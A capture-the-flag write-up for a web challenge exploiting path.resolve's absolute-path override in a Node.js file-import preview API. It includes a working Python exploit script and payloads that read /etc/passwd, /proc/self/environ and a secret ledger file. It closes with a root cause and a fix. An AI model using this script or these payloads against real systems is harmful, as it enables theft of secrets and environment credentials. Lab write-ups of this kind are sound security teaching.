Stillwell Estates Absolute-path read through path.resolve

web
flag hiCTF{s1l3nt_l4n73rn_3573735_2e2e742d2a}

Category: Web · live instance (/agency agent portal)

Recon

The agent portal exposes an "Agent import studio":

output
POST /api/agency/import/preview
Content-Type: application/json
Content-Encoding: br

The body is a Brotli-compressed stillwell.agency-export/1 manifest. The sample export (/assets/sample-export.br) decodes to:

json
1{"format":"stillwell.agency-export/1",
2 "properties":[{"title":"Meadow House","neighborhood":"Greenpoint","price":990000,"document":"welcome.txt"}, ...]}

Each listing may carry a document filename; the server reads it and returns a short excerpt in the preview - a server-side file read keyed on client input.

The bug - absolute-path override

/opt/stillwell/server.js (read via the same primitive):

js
1function resolvePartnerDoc(name){
2  if (typeof name !== 'string' || name === '') return undefined;
3  if (name.length > 512 || name.includes('..')) return { error: 'document path is not permitted' };
4  const abs = path.resolve(PARTNER_DOCS, name);   // <-- absolute name wins
5  return { name, excerpt: fs.readFileSync(abs,'utf8').slice(0,8192) };
6}

It only rejects the literal .. substring, but path.resolve(base, name) discards base when name is absolute. So document: "/etc/passwd" reads any file on the box. (Encoded ..%2f, ....//, backslashes and plain ../ are rejected; absolute paths are not.)

Exploitation

  • document: "/etc/passwd" → arbitrary absolute file read confirmed

  • document: "/proc/self/cmdline" → node server.js (cwd /opt/stillwell)

  • document: "/proc/self/environ" → leak of the exec-time environment:

    output
    SECRET_DIR=***   PWD=/opt/stillwell   RCTF_FLAG=hiCTF{...}

Startup (initializePrivateRecords) writes the flag into $SECRET_DIR/escrow-ledger.txt and then deletes RCTF_FLAG from process.env but /proc/self/environ still holds the exec-time environment, so the token is readable directly. Reading the ledger by its own path returns a masked form (hiCTF{...a}); routing through /proc/self/root returns the unmasked token, matching the env value exactly:

output
document: "/proc/self/root/tmp/stillwell-private/escrow-ledger.txt"

Repro

python
1# read.py — arbitrary absolute-path read through the preview API
2import brotli, json, requests, sys
3URL = "https://<instance>/api/agency/import/preview"
4def read(doc):
5    obj = {"format":"stillwell.agency-export/1",
6           "properties":[{"title":"t","neighborhood":"n","price":1,"document":doc}]}
7    r = requests.post(URL, data=brotli.compress(json.dumps(obj).encode()),
8                      headers={"Content-Type":"application/json","Content-Encoding":"br"}, timeout=20)
9    d = r.json()["sample"][0].get("document", {})
10    return d.get("excerpt", d.get("error", "?"))
11if __name__ == "__main__":
12    for p in sys.argv[1:]:
13        print("======", p, "\n", read(p))
bash
1python3 read.py /proc/self/environ

Flag

output
hiCTF{s1l3nt_l4n73rn_3573735_2e2e742d2a}

Root cause / fix

path.resolve() base-substitution: the resolver never verifies the resolved path stays inside PARTNER_DOCS. Fix: reject absolute paths and check abs.startsWith(PARTNER_DOCS + path.sep) after resolve (the static-file handler already does this correctly).